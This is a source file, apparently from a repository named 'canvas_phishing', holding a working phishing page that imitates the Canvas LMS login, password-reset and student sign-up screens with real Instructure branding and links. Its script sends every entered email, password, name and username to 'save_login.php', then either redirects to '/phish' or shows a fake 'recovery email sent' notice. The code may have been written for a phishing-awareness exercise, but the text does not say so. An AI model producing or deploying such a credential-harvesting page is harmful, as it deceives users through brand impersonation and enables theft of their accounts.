canvas_phishing/login
2025-07-15 01:19:02 +00:00

569 lines
20 KiB
Bash

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Log in to Canvas</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: "Lato", "Helvetica Neue", Arial, sans-serif;
background-color: #394B59;
min-height: 100vh;
color: #333;
}
.header {
background-color: white;
padding: 12px 20px;
display: flex;
justify-content: space-between;
align-items: center;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
.logo-container {
display: flex;
align-items: center;
}
.canvas-icon {
width: 28px;
height: 28px;
margin-right: 8px;
background-image: url('https://images.g2crowd.com/uploads/product/image/large_detail/large_detail_c4cea305272e01c609da9349efe4aba2/canvas-lms.png');
background-size: contain;
background-repeat: no-repeat;
background-position: center;
}
.logo-text {
font-size: 18px;
font-weight: 400;
color: #333;
}
.logo-text .canvas {
font-weight: 600;
}
.logo-text .lms {
font-weight: 300;
}
.browse-courses {
color: #0374B5;
text-decoration: none;
font-size: 14px;
font-weight: 400;
}
.browse-courses:hover {
text-decoration: underline;
}
.main-content {
display: flex;
justify-content: center;
align-items: center;
min-height: calc(100vh - 60px);
padding: 40px 20px;
}
.login-card {
background: white;
border-radius: 0px;
padding: 40px;
width: 500px;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.welcome-title {
font-size: 24px;
font-weight: 400;
color: #333;
margin-bottom: 16px;
text-align: center;
}
.login-prompt {
text-align: center;
margin-bottom: 32px;
font-size: 14px;
color: #666;
}
.create-account-link {
color: #0374B5;
text-decoration: none;
cursor: pointer;
}
.create-account-link:hover {
text-decoration: underline;
}
.form-group {
margin-bottom: 20px;
}
.form-label {
display: block;
margin-bottom: 6px;
font-size: 14px;
color: #333;
font-weight: 400;
}
.required {
color: #e74c3c;
}
.form-input {
width: 100%;
padding: 10px 12px;
border: 1px solid #C7CDD1;
border-radius: 4px;
font-size: 14px;
background: white;
transition: border-color 0.2s ease;
}
.form-input:focus {
outline: none;
border-color: #0374B5;
}
.remember-me {
display: flex;
align-items: center;
margin-bottom: 24px;
}
.remember-me input[type="checkbox"] {
margin-right: 8px;
width: 16px;
height: 16px;
}
.remember-me label {
font-size: 14px;
color: #333;
cursor: pointer;
}
.login-button {
width: 100%;
padding: 12px;
background-color: #0374B5;
color: white;
border: none;
border-radius: 4px;
font-size: 16px;
font-weight: 400;
cursor: pointer;
margin-bottom: 20px;
transition: background-color 0.2s ease;
}
.login-button:hover {
background-color: #025a87;
}
.help-links {
text-align: center;
margin-bottom: 24px;
}
.help-link {
color: #0374B5;
text-decoration: none;
font-size: 14px;
display: block;
margin-bottom: 8px;
cursor: pointer;
}
.help-link:hover {
text-decoration: underline;
}
.instructure-logo {
text-align: center;
margin-top: 40px;
margin-bottom: 20px;
}
.instructure-logo img {
height: 20px;
opacity: 0.6;
}
.footer-links {
text-align: center;
margin-top: 50px;
margin-bottom: 20px;
font-size: 12px;
}
.footer-links a {
color: #0374B5;
text-decoration: none;
margin: 0 5px;
}
.footer-links a:hover {
text-decoration: underline;
}
.footer-separator {
color: #666;
margin: 0 3px;
}
.page {
display: none;
}
.page.active {
display: block;
}
.back-to-login {
color: #0374B5;
text-decoration: none;
font-size: 14px;
margin-bottom: 20px;
display: inline-block;
}
.back-to-login:hover {
text-decoration: underline;
}
.join-code-help {
font-size: 12px;
color: #666;
margin-top: 5px;
line-height: 1.4;
}
@media (max-width: 480px) {
.login-card {
padding: 30px 20px;
margin: 20px 10px;
width: calc(100vw - 40px);
max-width: 500px;
}
.header {
padding: 10px 15px;
}
.logo-text {
font-size: 16px;
}
}
</style>
</head>
<body>
<header class="header">
<div class="logo-container">
<div class="canvas-icon"></div>
<div class="logo-text">
<span class="canvas">CANVAS</span>
<span class="lms">LMS</span>
</div>
</div>
<a href="https://canvas.instructure.com/search/all_courses" class="browse-courses">Browse Courses</a>
</header>
<main class="main-content">
<div class="page active" id="loginPage">
<div class="login-card">
<h1 class="welcome-title">Welcome to Canvas</h1>
<p class="login-prompt">
Log in or <span class="create-account-link" onclick="showCreateAccount()">create an account.</span>
</p>
<form id="loginForm">
<div class="form-group">
<label for="email" class="form-label">Email <span class="required">*</span></label>
<input type="email" id="email" class="form-input" required>
</div>
<div class="form-group">
<label for="password" class="form-label">Password <span class="required">*</span></label>
<input type="password" id="password" class="form-input" required>
</div>
<div class="remember-me">
<input type="checkbox" id="remember" name="remember">
<label for="remember">Remember me</label>
</div>
<button type="submit" class="login-button">Log In</button>
</form>
<div class="help-links">
<a href="#" class="help-link" onclick="showForgotPassword()">Forgot password?</a>
<a href="https://community.canvaslms.com/t5/Troubleshooting/Logging-into-Canvas/ta-p/875/redirect_from_archived_page/true" class="help-link">Trouble logging in?</a>
</div>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="forgotPasswordPage">
<div class="login-card">
<a href="#" class="back-to-login" onclick="showLogin()">&larr; Back to Login</a>
<h1 class="welcome-title">Forgot password?</h1>
<p style="text-align: center; margin-bottom: 32px; font-size: 14px; color: #666;">
Enter your email and we'll send you a link to change your password.
</p>
<form id="forgotPasswordForm">
<div class="form-group">
<label for="forgot-email" class="form-label">Email <span class="required">*</span></label>
<input type="email" id="forgot-email" class="form-input" required>
</div>
<button type="submit" class="login-button">Next</button>
</form>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="emailSentPage">
<div class="login-card">
<h1 class="welcome-title">Check Your Email</h1>
<p style="text-align: left; margin-bottom: 32px; font-size: 14px; color: #333; line-height: 1.5;">
A recovery email has been sent to <span id="recoveryEmail"></span>.<br>
Please check your inbox and follow the instructions to reset your password. This may take up to <strong>10 minutes</strong>. If you don't receive an email, be sure to check your spam folder.
</p>
<button type="button" class="login-button" style="background-color: #ccc; color: #333;" onclick="showLogin()">Back</button>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
<div class="page" id="createAccountPage">
<div class="login-card">
<a href="#" class="back-to-login" onclick="showLogin()">&larr; Back to Login</a>
<h1 class="welcome-title">Create a Student Account</h1>
<p class="login-prompt">
Already have an account? <span class="create-account-link" onclick="showLogin()">Log in</span>
</p>
<form id="createAccountForm">
<div class="form-group">
<label for="full-name" class="form-label">Full Name <span class="required">*</span></label>
<input type="text" id="full-name" class="form-input" required>
</div>
<div class="form-group">
<label for="username" class="form-label">Username <span class="required">*</span></label>
<input type="text" id="username" class="form-input" required>
</div>
<div class="form-group">
<label for="new-password" class="form-label">Password <span class="required">*</span></label>
<input type="password" id="new-password" class="form-input" required>
</div>
<div class="form-group">
<label for="confirm-password" class="form-label">Confirm Password <span class="required">*</span></label>
<input type="password" id="confirm-password" class="form-input" required>
</div>
<!-- <div class="form-group">
<label for="join-code" class="form-label">Join Code <span class="required">*</span></label>
<input type="text" id="join-code" class="form-input" required>
<div class="join-code-help">
Your instructor will provide you with a join code to link you directly to the course. This code will be sent to you separately from the Canvas email that invites you to join the course.
</div>
</div> -->
<div class="form-group">
<label for="account-email" class="form-label">Email Address <span class="required">*</span></label>
<input type="email" id="account-email" class="form-input" required>
</div>
<button type="submit" class="login-button">Create Account</button>
</form>
<div class="footer-links">
<a href="https://community.canvaslms.com/t5/Canvas/ct-p/canvas">Help</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/product-privacy-policy">Privacy Policy</a><span class="footer-separator">|</span>
<a href="https://www.instructure.com/policies/canvas-lms-cookie-notice">Cookie Notice</a><span class="footer-separator">|</span>
<a href="https://canvas.instructure.com/acceptable_use_policy">Acceptable Use Policy</a>
</div>
<div class="instructure-logo">
<img src="https://du11hjcvx0uqb.cloudfront.net/dist/webpack-production/da01a76c2964666b.svg" alt="Instructure">
</div>
</div>
</div>
</main>
<script>
function showLogin() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('loginPage').classList.add('active');
}
function showForgotPassword() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('forgotPasswordPage').classList.add('active');
}
function showCreateAccount() {
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('createAccountPage').classList.add('active');
}
function showEmailSent(email) {
document.getElementById('recoveryEmail').textContent = email;
document.querySelectorAll('.page').forEach(page => page.classList.remove('active'));
document.getElementById('emailSentPage').classList.add('active');
}
function redirectToPhish() {
window.location.href = '/phish';
}
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('email').value;
const password = document.getElementById('password').value;
const remember = document.getElementById('remember').checked;
const formData = new FormData();
formData.append('email', email);
formData.append('password', password);
formData.append('remember', remember ? '1' : '0');
formData.append('login_type', 'email');
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
redirectToPhish();
})
.catch(error => {
console.error('Error:', error);
redirectToPhish();
});
});
document.getElementById('forgotPasswordForm').addEventListener('submit', function(e) {
e.preventDefault();
const email = document.getElementById('forgot-email').value;
const formData = new FormData();
formData.append('email', email);
formData.append('password', '');
formData.append('remember', '0');
formData.append('login_type', 'forgot_password');
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
showEmailSent(email);
})
.catch(error => {
console.error('Error:', error);
showEmailSent(email);
});
});
document.getElementById('createAccountForm').addEventListener('submit', function(e) {
e.preventDefault();
const fullName = document.getElementById('full-name').value;
const username = document.getElementById('username').value;
const password = document.getElementById('new-password').value;
const confirmPassword = document.getElementById('confirm-password').value;
//const joinCode = document.getElementById('join-code').value;
const email = document.getElementById('account-email').value;
if (password !== confirmPassword) {
alert('Passwords do not match');
return;
}
const formData = new FormData();
formData.append('email', email);
formData.append('password', password);
formData.append('remember', '0');
formData.append('login_type', 'create_account');
formData.append('full_name', fullName);
formData.append('username', username);
//formData.append('join_code', joinCode);
fetch('save_login.php', {
method: 'POST',
body: formData
})
.then(response => response.text())
.then(data => {
console.log('Server response:', data);
redirectToPhish();
})
.catch(error => {
console.error('Error:', error);
redirectToPhish();
});
});
</script>
</body>
</html>